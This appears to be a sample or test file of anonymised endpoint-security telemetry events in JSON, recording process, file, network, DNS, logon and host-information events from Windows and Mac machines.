-{"AllocateVirtualMemoryCount":"0","ArchiveFileWrittenCount":"0","AsepWrittenCount":"0","BinaryExecutableWrittenCount":"0","CLICreationCount":"0","ConHostId":"13532","ConHostProcessId":"1731198143955","ConfigBuild":"1007.3.0010609.1","ConfigStateHash":"2030177841","ContextData":"","ContextProcessId":"1741732942772","ContextThreadId":"28523520529271","ContextTimeStamp":"1604855274.377","CycleTime":"473618996","DirectoryCreatedCount":"0","DirectoryEnumeratedCount":"0","DnsRequestCount":"0","DocumentFileWrittenCount":"0","EffectiveTransmissionClass":"3","Entitlements":"15","ExeAndServiceCount":"0","ExecutableDeletedCount":"0","ExitCode":"0","FileDeletedCount":"0","GenericFileWrittenCount":"0","ImageSubsystem":"2","InjectedDllCount":"0","InjectedThreadCount":"0","KernelTime":"1406250","MaxThreadCount":"16","ModuleLoadCount":"72","NetworkBindCount":"0","NetworkCapableAsepWriteCount":"0","NetworkCloseCount":"0","NetworkConnectCount":"0","NetworkConnectCountUdp":"0","NetworkListenCount":"0","NetworkModuleLoadCount":"0","NetworkRecvAcceptCount":"0","NewExecutableWrittenCount":"0","ParentProcessId":"1731198143955","PrivilegedProcessHandleCount":"0","ProcessStartTime":"1604855154.465","ProtectVirtualMemoryCount":"0","QueueApcCount":"0","RawProcessId":"18176","RegKeySecurityDecreasedCount":"0","RemovableDiskFileWrittenCount":"0","RunDllInvocationCount":"0","SHA256HashData":"87419b84f34cdb13f699c0f0803c957e48c27ad83334fcad7bac9ad89c0a466f","ScreenshotsTakenCount":"0","ScriptEngineInvocationCount":"0","ServiceEventCount":"0","SetThreadContextCount":"0","SnapshotFileOpenCount":"0","SuspectStackCount":"0","SuspiciousCredentialModuleLoadCount":"0","SuspiciousDnsRequestCount":"0","SuspiciousFontLoadCount":"0","SuspiciousRawDiskReadCount":"0","TargetProcessId":"1741732942772","UnsignedModuleLoadCount":"0","UserMemoryAllocateExecutableCount":"0","UserMemoryAllocateExecutableRemoteCount":"0","UserMemoryProtectExecutableCount":"0","UserMemoryProtectExecutableRemoteCount":"0","UserSid":"S-1-12-1-1647509123-1308660782-3901357462-3999411581","UserTime":"781250","aid":"fffffffffdab492a5a20cd0417395a73","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"EndOfProcess","id":"ffffffff-1111-11eb-b685-0241eaddc553","name":"EndOfProcessV14","timestamp":"1604855276657"}
-{"AuthenticationId":"895027","ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"3338885535","ContextProcessId":"1786917081743","ContextThreadId":"31685015444484","ContextTimeStamp":"1604855317.892","EffectiveTransmissionClass":"3","Entitlements":"15","FileEcpBitmask":"0","FileIdentifier":"0000000000000000be341bb58bc5f1f2a24339010200510e","FileObject":"18446636933702558240","IrpFlags":"1028","IsOnNetwork":"1","IsOnRemovableDisk":"0","MajorFunction":"18","MinorFunction":"0","OperationFlags":"0","Size":"223989","TargetFileName":"\\Device\\Mup\\intranet.dev\\int\\Test.pptx","TokenType":"1","aid":"fffffffffa474d216472f3edb73c75ed","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"OoxmlFileWritten","id":"ffffffff-1111-11eb-9165-067ee18a7975","name":"OoxmlFileWrittenV11","timestamp":"1604855329571"}
-{"ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"3765958535","ConnectionDirection":"2","ConnectionFlags":"0","ContextProcessId":"439029805661","ContextThreadId":"273683743193497","ContextTimeStamp":"1604855351.158","EffectiveTransmissionClass":"3","Entitlements":"15","InContext":"0","LocalAddressIP6":"2a02:cf40:add:4002:91f2:a9b2:e09a:6fc6","LocalPort":"50373","Protocol":"6","RemoteAddressIP6":"0:0:0:0:0:0:0:0","RemotePort":"0","aid":"ffffffff1f924e228a807ea4c0f21b0b","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"NetworkListenIP6","id":"ffffffff-1111-11eb-85f5-02ab029194b9","name":"NetworkListenIP6V5","timestamp":"1604855351798"}
-{"ConfigBuild":"1007.4.0011104.1","ConfigStateHash":"1457965279","ContextProcessId":"321365562189152025","ContextThreadId":"0","ContextTimeStamp":"1604846070.744","Entitlements":"15","SHA256HashData":"e1bed7598ffdecf63a4d240f8309b528fc45068c6cb8137a5090f3afeb57f29d","Size":"29646","TargetFileName":"/System/Library/CoreServices/SecurityAgentPlugins/HomeDirMechanism.bundle/Contents/MacOS/HomeDirMechanism/..namedfork/rsrc","VnodeModificationType":"10","aid":"ffffffff1f32487185fcde66a9dc0528","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Mac","event_simpleName":"AsepFileChange","id":"ffffffff-1111-11eb-b9b4-063e98f9b19b","name":"AsepFileChangeMacV2","timestamp":"1604855355495"}
-{"ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"3011122681","ContextProcessId":"2932136","ContextThreadId":"36157339485804","ContextTimeStamp":"1604855191.803","EffectiveTransmissionClass":"2","Entitlements":"15","LogonTime":"","PasswordLastSet":"","UserLogonFlags":"1","UserName":"user7","UserSid":"S-1-5-10","aid":"ffffffffa5bd4efaa195a7132c576edc","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"UserLogonFailed","id":"ffffffff-1111-11eb-aa5a-0207e26418af","name":"UserLogonFailedV1","timestamp":"1604855193422"}
-{"ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"1858880895","ConnectionDirection":"0","ConnectionFlags":"0","ContextProcessId":"56042872298","ContextTimeStamp":"1604855136.669","EffectiveTransmissionClass":"3","Entitlements":"15","InContext":"0","LocalAddressIP6":"2a02:cf40:add:4002:91f2:a9b2:e09a:6fc6","LocalPort":"49689","Protocol":"6","RemoteAddressIP6":"2a02:cf40:add:4002:91f2:a9b2:e09a:6fc6","RemotePort":"443","aid":"ffffffff6854438eb4181691ec47e43d","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"NetworkConnectIP6","id":"ffffffff-1111-11eb-a889-061944805289","name":"NetworkConnectIP6V5","timestamp":"1604855199798"}
-{"ConfigBuild":"1007.4.0011104.1","ConfigStateHash":"1789338890","ContextProcessId":"321382909294815631","ContextThreadId":"0","ContextTimeStamp":"1604853755.987","Entitlements":"15","SHA256HashData":"fa07e991e0c3f3661794bba39061433265162b10cd9036751941cc45e6a4b583","Size":"165","SourceFileName":"/Library/Application Support/JAMF/tmp/.dat.nosync2c98.VBwjsq","TargetFileName":"/Library/Application Support/JAMF/tmp/6B24D2B6-BC17-4470-8078-91A787A19478","aid":"ffffffffc07b49d6b7426e970523671a","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Mac","event_simpleName":"NewExecutableRenamed","id":"ffffffff-1111-11eb-8773-06939a2f0915","name":"NewExecutableRenamedMacV1","timestamp":"1604855213224"}
-{"ConfigBuild":"1007.4.0011104.1","ConfigStateHash":"203564169","ConnectionDirection":"0","ConnectionFlags":"0","ContextProcessId":"321367236803434269","ContextTimeStamp":"1604855268.323","Entitlements":"15","InContext":"0","LocalAddressIP6":"0:0:0:0:0:0:0:0","LocalPort":"51076","Protocol":"6","RemoteAddressIP6":"0:0:0:0:0:0:0:0","RemotePort":"0","aid":"ffffffffa60a47af4ebd2a76070f0d4f","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Mac","event_simpleName":"NetworkListenIP6","id":"ffffffff-1111-11eb-9a50-0669ff09604d","name":"NetworkListenIP6MacV5","timestamp":"1604855268755"}
-{"ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"3765958535","ContextProcessId":"1611521722601","ContextThreadId":"53405065993811","ContextTimeStamp":"1604855280.307","DomainName":"raw.githubusercontent.com","DualRequest":"0","EffectiveTransmissionClass":"3","Entitlements":"15","InterfaceIndex":"0","RequestType":"1","aid":"ffffffff6d724d38af99c628fb904626","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"SuspiciousDnsRequest","id":"ffffffff-1111-11eb-885e-02ac336efd4b","name":"SuspiciousDnsRequestV2","timestamp":"1604855323217"}
-{"ConfigBuild":"100.3.0011603.1","ContextProcessId":"4492535979973","ContextThreadId":"14023068415125","ContextTimeStamp":"1604855315.034","DiskParentDeviceInstanceId":"PCI\\VEN_8086\u0026DEV_31E3\u0026SUBSYS_080C1028\u0026REV_03\\3\u002611583659\u00260\u002690","EffectiveTransmissionClass":"3","Entitlements":"15","VolumeDeviceCharacteristics":"131072","VolumeDeviceObjectFlags":"134479872","VolumeDeviceType":"8","VolumeDriveLetter":"C:","VolumeFileSystemDevice":"\\Ntfs","VolumeFileSystemDriver":"\\FileSystem\\Ntfs","VolumeFileSystemType":"2","VolumeIsEncrypted":"0","VolumeMountPoint":"\\??\\Volume{9b46da3f-ce44-432f-9230-c9201504bfd7}","VolumeName":"\\Device\\HarddiskVolume4","VolumeRealDeviceName":"\\Device\\HarddiskVolume4","VolumeSectorSize":"512","aid":"ffffffff1990483499a736373600eef7","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"FsVolumeMounted","id":"ffffffff-1111-11eb-9be9-024459b713c5","name":"FsVolumeMountedV6","timestamp":"1604855329102"}
-{"ConfigBuild":"1007.4.0011104.1","ConfigStateHash":"1789338890","ConnectionDirection":"0","ConnectionFlags":"0","ContextProcessId":"321210562584146513","ContextTimeStamp":"1604855127.011","Entitlements":"15","InContext":"0","LocalAddressIP4":"127.0.0.1","LocalPort":"53","Protocol":"6","RemoteAddressIP4":"0.0.0.0","RemotePort":"0","aid":"ffffffffe5ff467b4f0c4fd41a4462bb","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Mac","event_simpleName":"NetworkListenIP4","id":"ffffffff-1111-11eb-ae74-065212970c5d","name":"NetworkListenIP4MacV5","timestamp":"1604855128936"}
-{"AuthenticationId":"999","ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"3338885535","ContextTimeStamp":"1604855185.108","EffectiveTransmissionClass":"3","Entitlements":"15","ImageFileName":"\\Device\\HarddiskVolume1\\Windows\\System32\\gpsvc.dll","InterfaceGuid":"367ABB81-9844-35F1-AD32-98F038001003","InterfaceVersion":"131072","RpcClientProcessId":"219053851298","RpcClientThreadId":"22047924482692","RpcNestingLevel":"0","RpcOpNum":"19","ServiceDisplayName":"gpsvc","TargetProcessId":"224116976578","TargetThreadId":"22920092479704","TokenType":"1","UserName":"user7","aid":"ffffffff59514ea68b4693ddfb9b6643","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"HostedServiceStarted","id":"ffffffff-1111-11eb-860c-0606af112d55","name":"HostedServiceStartedV2","timestamp":"1604855184068"}
-{"ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"3338885535","ContextTimeStamp":"1604855299.018","EffectiveTransmissionClass":"3","Entitlements":"15","ServiceDisplayName":"wuauserv","TargetProcessId":"661455186053","TargetThreadId":"24238019995551","aid":"ffffffff2b5a4bf5afc6682595faa016","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"HostedServiceStopped","id":"ffffffff-1111-11eb-9b11-0602a5689467","name":"HostedServiceStoppedV1","timestamp":"1604855302512"}
-{"AuthenticationId":"3443175","ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"3338885535","ContextProcessId":"1091372257857","ContextThreadId":"36855848099771","ContextTimeStamp":"1604855227.625","DiskParentDeviceInstanceId":"PCI\\VEN_1179\u0026DEV_0113\u0026SUBSYS_00011179\u0026REV_01\\4\u00263ad42678\u00260\u002600E0","EffectiveTransmissionClass":"3","Entitlements":"15","FileEcpBitmask":"0","FileIdentifier":"f5ce07c6af67ec4ebe0846ff200bfc2f54f7020000002100","FileObject":"18446603341701082336","IrpFlags":"1028","IsOnNetwork":"0","IsOnRemovableDisk":"0","MajorFunction":"18","MinorFunction":"0","OperationFlags":"0","Size":"288041","TargetFileName":"\\Device\\HarddiskVolume3\\Users\\user12\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\TempState\\Downloads\\ex.pdf.8e41hf8.partial","TokenType":"1","aid":"ffffffff32cb4abc50bc133b31a69946","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"PdfFileWritten","id":"ffffffff-1111-11eb-baea-02dccfbb7779","name":"PdfFileWrittenV11","timestamp":"1604855264313"}
-{"AuthenticationId":"3783389","CommandLine":"\"C:\\WINDOWS\\system32\\backgroundTaskHost.exe\" -ServerName:App.AppXnme9zjyebb2xnyygh6q9ev6p5d234br2.mca","ConfigBuild":"1007.3.0012309.1","ConfigStateHash":"3998263252","EffectiveTransmissionClass":"3","Entitlements":"15","ImageFileName":"\\Device\\HarddiskVolume3\\Windows\\System32\\backgroundTaskHost.exe","ImageSubsystem":"2","IntegrityLevel":"4096","MD5HashData":"50d5fd1290d94d46acca0585311e74d5","ParentAuthenticationId":"3783389","ParentBaseFileName":"svchost.exe","ParentProcessId":"2439558094566","ProcessCreateFlags":"525332","ProcessEndTime":"","ProcessParameterFlags":"16385","ProcessStartTime":"1604855181.648","ProcessSxsFlags":"1600","RawProcessId":"22272","RpcClientProcessId":"2439558094566","SHA1HashData":"0000000000000000000000000000000000000000","SHA256HashData":"b8e176fe76a1454a00c4af0f8bf8870650d9c33d3e333239a59445c5b35c9a37","SessionId":"1","SourceProcessId":"2439558094566","SourceThreadId":"77538684027214","Tags":"41, 12094627905582, 12094627906234","TargetProcessId":"2450046082233","TokenType":"2","UserSid":"S-1-12-1-3697283754-1083485977-2164330645-2516515886","WindowFlags":"128","aid":"ffffffff655344736aca58d17fb570f0","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"ProcessRollup2","id":"ffffffff-1111-11eb-8462-02ade3b2f949","name":"ProcessRollup2V18","timestamp":"1604855182022"}
-{"AuthenticationId":"326190744","AuthenticationUuid":"98467113-C771-4845-B71B-89B3CE9F93C9","AuthenticationUuidAsString":"13714698-71C7-4548-B71B-89B3CE9F93C9","ConfigBuild":"1007.4.0011104.1","ConfigStateHash":"1457965279","Entitlements":"15","UID":"326190744","UserPrincipal":"user8@dom6","UserSid":"S-1-5-21-3629339319-2376021926-2724479216-652382488","aid":"ffffffff1f32487185fcde66a9dc0528","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Mac","event_simpleName":"UserIdentity","id":"ffffffff-1111-11eb-b9b4-063e98f9b19b","name":"UserIdentityMacV2","timestamp":"1604855355388"}
-{"BootArgs":" NOEXECUTE=OPTIN  HYPERVISORLAUNCHTYPE=AUTO  FVEBOOT=2125824  NOVGA","ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"1874387338","EffectiveTransmissionClass":"0","Entitlements":"15","MachineDomain":"","aid":"ffffffffcdb543135e7fcdf8e5a8fbdb","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"HostInfo","id":"ffffffff-1111-11eb-9bbd-061290dcd983","name":"HostInfoV2","timestamp":"1604855157555"}
-{"AuthenticationId":"703298","ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"2642284486","ContextProcessId":"1161025471861","ContextThreadId":"34929528116709","ContextTimeStamp":"1604851030.593","DiskParentDeviceInstanceId":"USB\\VID_1058\u0026PID_2621\\57583431453939315A4C5255","EffectiveTransmissionClass":"3","Entitlements":"15","FileEcpBitmask":"0","FileIdentifier":"262fbc677256cf4c8d6c6a227285a072c06830873b000000","FileObject":"18446664963104449168","IrpFlags":"1028","IsOnNetwork":"0","IsOnRemovableDisk":"1","MajorFunction":"18","MinorFunction":"0","OperationFlags":"0","Size":"517029","TargetFileName":"\\Device\\HarddiskVolume5\\01.png.tmp$$","TokenType":"1","UserName":"user9","aid":"ffffffff16bf4c7bb5ad755a4722025c","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"GenericFileWritten","id":"ffffffff-1111-11eb-800a-06cecfd73923","name":"GenericFileWrittenV11","timestamp":"1604851031298"}
-{"ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"666346415","ContextProcessId":"1717987648455","ContextThreadId":"55064470042288","ContextTimeStamp":"1604850899.164","EffectiveTransmissionClass":"3","Entitlements":"15","VolumeName":"\\Device\\HarddiskVolume27","aid":"ffffffff896b43725b83c79aa79959da","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"FsVolumeUnmounted","id":"ffffffff-1111-11eb-9f70-0634389d9ea9","name":"FsVolumeUnmountedV2","timestamp":"1604850899812"}
-{"ConfigBuild":"1007.4.0009906.1","ConfigStateHash":"3429017943","ContextProcessId":"66426035996442255","ContextTimeStamp":"1604851098.548","Entitlements":"15","aid":"ffffffff899541b94b9adff8922aa70a","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Mac","event_simpleName":"FirewallDisabled","id":"ffffffff-1111-11eb-9d4c-02f402df8c1f","name":"FirewallDisabledMacV1","timestamp":"1604851040625"}
-{"AgentLoadFlags":"0","AgentLocalTime":"1636436839.9529998","AgentTimeOffset":"125.319","AgentVersion":"6.31.14404.0","BiosManufacturer":"Apple Inc.","BiosVersion":"1554.140.20.0.0 (iBridge: 18.16.14759.0.1,0)","ChassisType":"Laptop","City":"San Francisco","ComputerName":"mac1","ConfigBuild":"1007.4.0014404.1","ConfigIDBuild":"14404","Continent":"North America","Country":"United States","FalconGroupingTags":"-","FirstSeen":"1625682391.0","HostHiddenStatus":"Visible","MachineDomain":"none","OU":"none","PointerSize":"none","ProductType":"1","SensorGroupingTags":"-","ServicePackMajor":"none","SiteName":"none","SystemManufacturer":"Apple Inc.","SystemProductName":"MacBookPro16,2","Time":"1636448427.3539999","Timezone":"America/Los_Angeles","Version":"Big Sur (11.0)","aid":"fffffffffffaaaaaaaaabbbbbbbb","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022ff","event_platform":"Mac"}
-{"AuthenticationId":"317005428","AuthenticationPackage":"Negotiate","ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"3950066843","EffectiveTransmissionClass":"2","Entitlements":"15","LogoffTime":"1604855132.756","LogonDomain":"dom1","LogonServer":"srv2","LogonTime":"1604855131.666","LogonType":"7","PasswordLastSet":"1598119332.510","RemoteAccount":"1","UserFlags":"32","UserIsAdmin":"0","UserLogoffType":"3","UserLogonFlags":"0","UserName":"user4","UserPrincipal":"user.name@dom2.com","UserSid":"S-1-5-21-606747145-1364589140-725345543-28636","aid":"ffffffffe0104823bd3de859d5bc8bc7","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"UserLogoff","id":"ffffffff-1111-11eb-8913-0287fd11c79b","name":"UserLogoffV3","UTCTimestamp":"1604855134461"}
-{"ProcessCreateFlags":"1024","IntegrityLevel":"8192","ParentProcessId":"434985540832797032","SourceProcessId":"434985540832797032","aip":"89.160.20.120","SHA1HashData":"0000000000000000000000000000000000000000","UserSid":"S-1-5-21-4084637156-299436391-3671333128-115430","event_platform":"Win","TokenType":"2","ProcessEndTime":"","ParentBaseFileName":"EmUser.exe","ImageSubsystem":"2","id":"9686a6b3-1d39-11ed-9370-0660bfa16adf","EffectiveTransmissionClass":"3","SessionId":"1","Tags":"25, 27, 862, 874, 924, 12094627905582, 12094627906234","timestamp":"1660636869410","event_simpleName":"ProcessRollup2","RawProcessId":"6108","ConfigStateHash":"518095218","MD5HashData":"e570911fc2ab74ecf0dc59f324318f6e","SHA256HashData":"f470180a4f67ebd944570b3eaf040caa8c0713252c6228e60c413714375ccfe2","ProcessSxsFlags":"64","AuthenticationId":"29530993","ConfigBuild":"1007.3.0015103.1","CommandLine":"\"C:\\Program Files\\nirsoft\\SoundVolumeView.exe\" /SetDefault \"Teradici Virtual Audio Driver\\device\\speakers\\\" all","ParentAuthenticationId":"29530993","TargetProcessId":"434985669758362104","ImageFileName":"\\Device\\HarddiskVolume3\\Program Files\\NirSoft\\SoundVolumeView.exe","SourceThreadId":"434985668331321297","Entitlements":"15","name":"ProcessRollup2V19","ProcessStartTime":"1660636868.576","ProcessParameterFlags":"24577","aid":"50deaa55144543089a1f463b568cdc53","cid":"1301ac65ae144fbb9689a8472f828c2e"}
-{"ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"666346415","ContextProcessId":"1717987648455","ContextThreadId":"55064470042288","ContextTimeStamp":133145666190000000,"EffectiveTransmissionClass":"3","Entitlements":"15","VolumeName":"\\Device\\HarddiskVolume27","aid":"ffffffff896b43725b83c79aa79959da","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"FsVolumeUnmounted","id":"ffffffff-1111-11eb-9f70-0634389d9ea9","name":"FsVolumeUnmountedV2","timestamp":"1604850899812","StartTime":133145665200000000,"EndTime":133145665200000000}
-{"ComputerName":"HQ-sadhkbasHS","CurrentLocalIP":"67.43.156.13","FirstDiscoveredDate":"1669625277.827","LastDiscoveredBy":"c1b74438660b44cfa93e24c9d44badab","LocalAddressIP4":"67.43.156.13","MAC":"AA-AA-AA-AA-AA-AA","MACPrefix":"AA-AA-AA","NeighborName":"!!!!UNKNOWN!!!!","__mv_LocalAddressIP4":"","__mv_aip":"$67.43.156.14$;$67.43.156.13$","__mv_discoverer_aid":"$4b8f58d3f5f040b3804d3820ca2aed67$;$c1b74438660b44cfa93e24c9d44badab$","__mv_discoverer_devicetype":"","_time":"1678931820.343","aip":"67.43.156.13 67.43.156.14 81.2.69.192","aipCount":"3","cid":"500c5073b4d7443688f4b32c5eeb295b","discovererCount":"2","discoverer_aid":"4b8f58d3f5f040b3804d3820ca2aed67 c1b74438660b44cfa93e24c9d44badab","discoverer_devicetype":"","localipCount":"1","subnet":"10.0"}
-{"ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"666346415","ContextProcessId":"1717987648455","ContextThreadId":"55064470042288","ContextTimeStamp":"","EffectiveTransmissionClass":"3","Entitlements":"15","VolumeName":"\\Device\\HarddiskVolume27","aid":"ffffffff896b43725b83c79aa79959da","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"FsVolumeUnmounted","id":"ffffffff-1111-11eb-9f70-0634389d9ea9","name":"FsVolumeUnmountedV2","timestamp":"1604850899812","StartTime":133145665200000000,"EndTime":133145665200000000}
-{"AuthenticationId":"703298","ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"2642284486","ContextProcessId":"1161025471861","ContextThreadId":"34929528116709","ContextTimeStamp":"1604851030.593","DiskParentDeviceInstanceId":"USB\\VID_1058\u0026PID_2621\\57583431453939315A4C5255","EffectiveTransmissionClass":"3","Entitlements":"15","FileEcpBitmask":"0","FileIdentifier":"262fbc677256cf4c8d6c6a227285a072c06830873b000000","FileObject":"18446664963104449168","IrpFlags":"1028","IsOnNetwork":"0","IsOnRemovableDisk":"1","MajorFunction":"18","MinorFunction":"0","OperationFlags":"0","Size":"517029","TargetFileName":"c:\\Device\\HarddiskVolume5\\01.png.tmp$$","TokenType":"1","UserName":"user9","aid":"ffffffff16bf4c7bb5ad755a4722025c","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"GenericFileWritten","id":"ffffffff-1111-11eb-800a-06cecfd73923","name":"GenericFileWrittenV11","timestamp":"1604851031298"}
-{"UserIsAdmin": "1", "LogonTime": "1715078799.631", "UserSid": "S-1-5-21-1111-11111-387821029-2004", "event_platform": "Mac", "EffectiveTransmissionClass": "2", "timestamp": "1715078799943", "info": { "host": { "Timezone": "Asia/Kolkata", "ServicePackMajor": "none", "PointerSize": "none", "SiteName": "none", "AgentVersion": "7.14.18305.0", "Time": "1715074061.000", "MachineDomain": "none", "event_platform": "Mac", "AgentTimeOffset": "454032", "Version": "Ventura (13)", "AgentLoadFlags": "0", "BiosVersion": "none", "FalconGroupingTags": "none", "SystemProductName": "Mac14, 2", "OU": "none", "ProductType": "none", "City": "Bengaluru", "ConfigBuild": "1007.4.0018305.10", "SensorGroupingTags": "none", "Continent": "Asia", "FirstSeen": "1701672920.000", "HostHiddenStatus": "Visible", "BiosManufacturer": "none", "AgentLocalTime": "1714620029.775", "Country": "India", "ChassisType": "Other", "SystemManufacturer": "Apple Inc.", "ConfigIDBuild": "18305", "cid": "11d1d1d1dd1d1d1d1d1" }, "user": { "UserIsAdmin": "1", "monthsincereset": "3.0", "User": "USER-1-MACBOOK-AIR.LOCAL\\USER-1", "LogonTime": "1715076000.000", "PasswordLastSet": "1706789855.733", "LogonType": "Interactive", "AccountType": "Local", "LastLoggedOnHost": "User-1-MacBook-Air.local", "_time": "1715076916.290", "cid": "1d1d1d1d1d1d1d1d1" } }, "ContextTimeStamp": "1715078799.690", "UserName": "user-1", "ConfigStateHash": "821711964", "LogonType": "2", "AuthenticationId": "111112312312312321", "UserPrincipal": "user-1@User-1-MacBook-Air.local", "PasswordLastSet": "1706789855.733", "Entitlements": "15", "name": "UserLogonMacV1", "UserLogonFlags": "6", "UserGroupsBitmask": "0", "cid": "1d1d1d1d1d1d1d1d1"}
-{"ActiveDirectoryAuthenticationMethod":"0","ActivityId":"E654B5F9-9FCD-4E9A-9F18-E433DB7ACBAC","AuthenticationActivityId":"0737DAC6-66AE-42DE-B10A-FD151AE99B86","ContextTimeStamp":"1715078799.690","SourceAccountDomain":"EXAMPLE.COM","SourceAccountObjectGuid":"62915660-5725-4B71-A494-46793F88877A","SourceAccountObjectSid":"S-1-5-21-333333333-333333333-3333333333-333333","SourceAccountSamAccountName":"bar","SourceEndpointAccountObjectGuid":"9FF5B4D9-4FAD-47E7-89C0-0B06299F0AE8","SourceEndpointAccountObjectSid":"S-1-5-21-222222222-222222222-2222222222-222222","SourceEndpointAddressIP4":"192.168.0.1","SourceEndpointHostName":"FOO","SourceEndpointNetworkTag":"AWS-XXX","SourceEndpointNetworkType":"1","TargetDomainControllerObjectGuid":"11111111-1111-1111-1111-111111111111","TargetDomainControllerObjectSid":"S-1-5-21-111111111-111111111-1111111111-111111","aip":"","cid":"11111111111111111111111111111111","event_platform":"Win","name":"ActiveDirectoryInteractiveDomainLogonV2","timestamp":"2024-08-01T11:31:27.123Z"}
-{"event_simpleName":"SmbServerShareOpenedEtw","UserName":"person@dom1.com","RemoteAddressIP6":"0:0:0:0:0:0:0:1","ConfigStateHash":"1063377105","DomainName":"AzureAD","aip":"67.43.156.14","ConfigBuild":"1007.3.0019011.15","event_platform":"Win","Entitlements":"15","name":"SmbServerShareOpenedEtwV1","EventOrigin":"17","id":"5df90d92-3d9f-44e5-a095-428decb3d3f3","SmbShareName":"C$","EffectiveTransmissionClass":"3","aid":"1152404d33614d3bbfe87a5fe7bac47b","timestamp":"1738009593697","cid":"ffffffff30a3407dae27d0503611022d"}
-{"ContextBaseFileName":"SenseImdsCollector.exe","event_simpleName":"DnsRequest","ContextTimeStamp":"1738009377.497","ConfigStateHash":"138674525","ContextProcessId":"683613242245","DomainName":"metadata.google.internal","ContextThreadId":"31712204862362","aip":"67.43.156.14","QueryStatus":"9003","InterfaceIndex":"0","ConfigBuild":"1007.3.0019011.15","event_platform":"Win","DnsRequestCount":"1","DualRequest":"1","Entitlements":"15","name":"DnsRequestV5","EventOrigin":"1","id":"3d0ef474-fcc3-4f18-9ad6-7130d8ddb407","EffectiveTransmissionClass":"3","aid":"31e92a267c044d57b1c1e14109079e89","timestamp":"1738009364034","cid":"ffffffff30a3407dae27d0503611022d","RequestType":"28"}
-{"ProcessCreateFlags":"1024","IntegrityLevel":"8192","ParentProcessId":"434985540832797032","SourceProcessId":"434985540832797032","aip":"89.160.20.120","SHA1HashData":"0000000000000000000000000000000000000000","UserSid":"S-1-5-21-4084637156-299436391-3671333128-115430","event_platform":"Win","TokenType":"2","ProcessEndTime":"","ParentBaseFileName":"EmUser.exe","ImageSubsystem":"2","id":"9686a6b3-1d39-11ed-9370-0660bfa16adf","EffectiveTransmissionClass":"3","SessionId":"1","Tags":"25, 27, 862, 874, 924, 12094627905582, 12094627906234","timestamp":"1660636869410","event_simpleName":"ProcessRollup2","RawProcessId":"18446744072636268557","ConfigStateHash":"518095218","MD5HashData":"e570911fc2ab74ecf0dc59f324318f6e","SHA256HashData":"f470180a4f67ebd944570b3eaf040caa8c0713252c6228e60c413714375ccfe2","ProcessSxsFlags":"64","AuthenticationId":"29530993","ConfigBuild":"1007.3.0015103.1","CommandLine":"\"C:\\Program Files\\nirsoft\\SoundVolumeView.exe\" /SetDefault \"Teradici Virtual Audio Driver\\device\\speakers\\\" all","ParentAuthenticationId":"29530993","TargetProcessId":"434985669758362104","ImageFileName":"\\Device\\HarddiskVolume3\\Program Files\\NirSoft\\SoundVolumeView.exe","SourceThreadId":"434985668331321297","Entitlements":"15","name":"ProcessRollup2V19","ProcessStartTime":"1660636868.576","ProcessParameterFlags":"24577","aid":"50deaa55144543089a1f463b568cdc53","cid":"1301ac65ae144fbb9689a8472f828c2e"}
